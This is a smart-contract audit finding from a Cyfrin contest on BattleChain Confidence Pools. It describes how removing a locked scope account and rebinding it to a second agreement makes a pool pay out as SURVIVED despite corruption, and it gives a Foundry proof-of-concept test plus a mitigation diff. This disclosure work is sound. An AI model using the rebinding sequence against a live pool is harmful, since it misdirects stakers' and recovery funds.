BattleChain Confidence Pools
Cyfrin
FoundrySolidityLayer 2
7.25 ETH
View all submissions
Previous Next
Submission Details
Impact: high
Likelihood: medium

Removing and rebinding a locked scope account forces a false `SURVIVED` payout

Author Revealed upon completion

Root + Impact

Description

A confidence pool permanently locks its local account scope once the associated agreement leaves pre-attack staging. Corruption of a locked account should resolve the pool as CORRUPTED, distributing the pool to the named attacker or recovery address instead of rewarding stakers.

The pool validates a scoped account only through IAgreement.isContractInScope(), even though that interface explicitly states that scope membership does not establish the account's Binding Agreement. Once the original agreement's commitment period ends, its owner can remove a locked account and the upstream registry unregisters the account even while that agreement remains UNDER_ATTACK. The account can then bind to a second agreement.

Every pool state observation remains keyed to the originally stored agreement. Corruption under the account's new Binding Agreement therefore cannot be reported: flagOutcome(CORRUPTED) requires the original agreement itself to be CORRUPTED. Once the original agreement reaches PRODUCTION, expiry mechanically resolves the pool as SURVIVED and pays all principal and bonus to stakers despite corruption of an account that remains in the pool's locked scope.

function _replaceScope(address[] calldata accounts) internal {
if (accounts.length == 0) revert EmptyScope();
​
// ...
​
for (uint256 i; i < accounts.length; ++i) {
address account = accounts[i];
if (isAccountInScope[account]) revert DuplicateAccount(account);
​
// @> This checks only the agreement's mutable scope cache. It does not
// @> verify that `agreement` is the account's Binding Agreement.
if (!IAgreement(agreement).isContractInScope(account)) {
revert AccountNotInAgreementScope(account);
}
​
_scopeAccounts.push(account);
isAccountInScope[account] = true;
}
}
​
function _getAgreementState() internal view returns (IAttackRegistry.ContractState) {
address attackRegistry = safeHarborRegistry.getAttackRegistry();
if (attackRegistry == address(0)) revert InvalidAgreement();
​
// @> Every lifecycle and resolution check reads only the original agreement.
// @> The current Binding Agreement of each locked account is ignored.
return IAttackRegistry(attackRegistry).getAgreementState(agreement);
}
​
function flagOutcome(PoolStates.Outcome newOutcome, bool goodFaith_, address attacker_)
external
onlyModerator
{
IAttackRegistry.ContractState state = _observePoolState();
​
// ...
​
if (newOutcome == PoolStates.Outcome.CORRUPTED) {
// ...
​
// @> CORRUPTED is impossible when a locked account is corrupted under
// @> its new Binding Agreement but the original agreement is not.
if (state != IAttackRegistry.ContractState.CORRUPTED) revert InvalidOutcome();
}
​
// ...
}
​
function claimExpired() external nonReentrant {
// ...
​
if (outcome == PoolStates.Outcome.UNRESOLVED) {
// @> `_observePoolState()` resolves only the original agreement.
IAttackRegistry.ContractState state = _observePoolState();
​
// ...
​
if (state == IAttackRegistry.ContractState.PRODUCTION) {
// @> PRODUCTION of the original agreement forces SURVIVED even when
// @> a locked account is CORRUPTED under another Binding Agreement.
outcome = PoolStates.Outcome.SURVIVED;
outcomeFlaggedAt = riskWindowEnd;
emit OutcomeFlagged(address(0), PoolStates.Outcome.SURVIVED, false, address(0));
}
​
// ...
}
}

Risk

Likelihood:

  • A valid pool has a minimum 30-day term while the registry accepts an agreement with only seven remaining commitment days. This creates a normal period during which the pool remains active but the agreement owner can remove and rebind a locked account.

  • Once the shorter commitment expires, the upstream removeAccounts() and unregisterContractForExistingAgreement() flow clears the account's binding without requiring the original agreement to leave UNDER_ATTACK. The same account can then bind to another agreement and become corrupted there.

Impact:

  • The entire pool, including staker principal and contributed bonus, is paid to stakers instead of the named good-faith attacker or recovery address.

  • A sponsor can publish an apparently binding confidence commitment for an account while later removing the economic consequence of that account being corrupted.

Proof of Concept

Save the test as test/audit/LockedScopeDetachment.t.sol and run forge test --match-path test/audit/LockedScopeDetachment.t.sol -vv.

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
​
import {Test} from "forge-std/Test.sol";
import {Clones} from "@openzeppelin/contracts/proxy/Clones.sol";
​
import {ConfidencePool} from "src/ConfidencePool.sol";
import {IConfidencePool} from "src/interfaces/IConfidencePool.sol";
import {PoolStates} from "src/libraries/PoolStates.sol";
import {IAttackRegistry} from "@battlechain/interface/IAttackRegistry.sol";
import {MockAgreement} from "test/mocks/MockAgreement.sol";
import {MockERC20} from "test/mocks/MockERC20.sol";
import {MockSafeHarborRegistry} from "test/mocks/MockSafeHarborRegistry.sol";
​
/// @dev Models the upstream registry's per-agreement state and mutable
/// account-to-agreement binding. The removal/rebinding sequence was also
/// independently reproduced against the vendored BattleChain contracts.
contract BindingAwareAttackRegistryMock {
mapping(address agreement => IAttackRegistry.ContractState state) internal _state;
mapping(address account => address agreement) internal _bindingAgreement;
​
function setAgreementState(address agreement, IAttackRegistry.ContractState state) external {
_state[agreement] = state;
}
​
function bind(address account, address agreement) external {
_bindingAgreement[account] = agreement;
}
​
function getAgreementState(address agreement) external view returns (IAttackRegistry.ContractState) {
return _state[agreement];
}
​
function getAgreementForContract(address account) external view returns (address) {
return _bindingAgreement[account];
}
}
​
contract LockedScopeDetachmentAuditTest is Test {
uint256 internal constant ONE = 1e18;
​
address internal moderator = makeAddr("moderator");
address internal recovery = makeAddr("recovery");
address internal alice = makeAddr("alice");
address internal contributor = makeAddr("contributor");
address internal coveredAccount = address(0xC0FFEE);
address internal remainingAccount = address(0xBEEF);
​
MockERC20 internal token;
MockAgreement internal agreementA;
MockAgreement internal agreementB;
MockSafeHarborRegistry internal safeHarborRegistry;
BindingAwareAttackRegistryMock internal attackRegistry;
ConfidencePool internal pool;
​
function setUp() external {
vm.warp(1_750_000_000);
​
token = new MockERC20();
agreementA = new MockAgreement(address(this));
agreementB = new MockAgreement(address(this));
safeHarborRegistry = new MockSafeHarborRegistry();
attackRegistry = new BindingAwareAttackRegistryMock();
​
// Agreement A retains another account after the covered account is removed,
// matching the real Agreement's CannotRemoveAllAccounts guard.
agreementA.setContractInScope(coveredAccount, true);
agreementA.setContractInScope(remainingAccount, true);
agreementB.setContractInScope(coveredAccount, true);
​
safeHarborRegistry.setAttackRegistry(address(attackRegistry));
safeHarborRegistry.setAgreementValid(address(agreementA), true);
safeHarborRegistry.setAgreementValid(address(agreementB), true);
attackRegistry.setAgreementState(
address(agreementA), IAttackRegistry.ContractState.NEW_DEPLOYMENT
);
attackRegistry.bind(coveredAccount, address(agreementA));
​
ConfidencePool implementation = new ConfidencePool();
pool = ConfidencePool(Clones.clone(address(implementation)));
​
address[] memory scope = new address[](1);
scope[0] = coveredAccount;
pool.initialize(
address(agreementA),
address(token),
address(safeHarborRegistry),
moderator,
block.timestamp + 31 days,
ONE,
recovery,
address(this),
scope
);
​
token.mint(alice, 100 * ONE);
vm.startPrank(alice);
token.approve(address(pool), type(uint256).max);
pool.stake(100 * ONE);
vm.stopPrank();
​
token.mint(contributor, 50 * ONE);
vm.startPrank(contributor);
token.approve(address(pool), type(uint256).max);
pool.contributeBonus(50 * ONE);
vm.stopPrank();
}
​
function testLockedAccountCanCorruptUnderBWhilePoolForAIsForcedToSurvive() external {
// The pool observes active risk under A and permanently locks its scope.
attackRegistry.setAgreementState(
address(agreementA), IAttackRegistry.ContractState.UNDER_ATTACK
);
pool.pokeRiskWindow();
assertTrue(pool.scopeLocked());
assertTrue(pool.isAccountInScope(coveredAccount));
​
// A's shorter commitment ends. The account is removed from A and rebound to B.
vm.warp(block.timestamp + 7 days);
agreementA.setContractInScope(coveredAccount, false);
attackRegistry.bind(coveredAccount, address(agreementB));
​
// The account is corrupted under B while A safely reaches PRODUCTION.
attackRegistry.setAgreementState(
address(agreementB), IAttackRegistry.ContractState.CORRUPTED
);
attackRegistry.setAgreementState(
address(agreementA), IAttackRegistry.ContractState.PRODUCTION
);
​
assertTrue(pool.isAccountInScope(coveredAccount));
assertFalse(agreementA.isContractInScope(coveredAccount));
assertEq(
attackRegistry.getAgreementForContract(coveredAccount), address(agreementB)
);
​
// The moderator cannot report the real result because the pool checks state(A).
vm.prank(moderator);
vm.expectRevert(IConfidencePool.InvalidOutcome.selector);
pool.flagOutcome(PoolStates.Outcome.CORRUPTED, true, makeAddr("whitehat"));
​
// Expiry reads A == PRODUCTION, resolves SURVIVED, and gives Alice the
// full 100-token stake plus the 50-token bonus.
vm.warp(pool.expiry());
uint256 balanceBefore = token.balanceOf(alice);
vm.prank(alice);
pool.claimExpired();
​
assertEq(uint256(pool.outcome()), uint256(PoolStates.Outcome.SURVIVED));
assertEq(token.balanceOf(alice) - balanceBefore, 150 * ONE);
assertEq(token.balanceOf(address(pool)), 0);
}
}

The upstream removal/rebinding sequence was also executed successfully against the real vendored BattleChain contracts at commit fde1b2a.

Recommended Mitigation

Require the agreement's non-reducible commitment period to cover the entire pool term during initialization and every permitted expiry update. The agreement owner can call extendCommitmentWindow() before creating the pool. Once the pool exists, this invariant prevents a locked account from being removed or unregistered before pool expiry.

+ error AgreementCommitmentTooShort(uint256 commitmentEnd, uint256 poolExpiry);
​
function initialize(
address agreement_,
address stakeToken_,
address safeHarborRegistry_,
address outcomeModerator_,
uint256 expiry_,
uint256 minStake_,
address recoveryAddress_,
address owner_,
address[] calldata accounts
) external initializer {
// ...
​
- if (!IBattleChainSafeHarborRegistry(safeHarborRegistry_).isAgreementValid(agreement_)) {
+ IBattleChainSafeHarborRegistry registry_ =
+ IBattleChainSafeHarborRegistry(safeHarborRegistry_);
+ if (!registry_.isAgreementValid(agreement_)) {
revert InvalidAgreement();
}
+ uint256 commitmentEnd = IAgreement(agreement_).getCantChangeUntil();
+ if (commitmentEnd < expiry_) {
+ revert AgreementCommitmentTooShort(commitmentEnd, expiry_);
+ }
​
// ...
}
​
function setExpiry(uint256 newExpiry) external onlyOwner {
if (expiryLocked) revert ExpiryLocked();
if (newExpiry < block.timestamp + _MIN_EXPIRY_LEAD) revert ExpiryTooSoon();
if (newExpiry > type(uint32).max) revert ExpiryTooFar();
+ uint256 commitmentEnd = IAgreement(agreement).getCantChangeUntil();
+ if (commitmentEnd < newExpiry) {
+ revert AgreementCommitmentTooShort(commitmentEnd, newExpiry);
+ }
​
uint256 oldExpiry = expiry;
expiry = uint32(newExpiry);
emit ExpiryUpdated(oldExpiry, newExpiry);
}

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!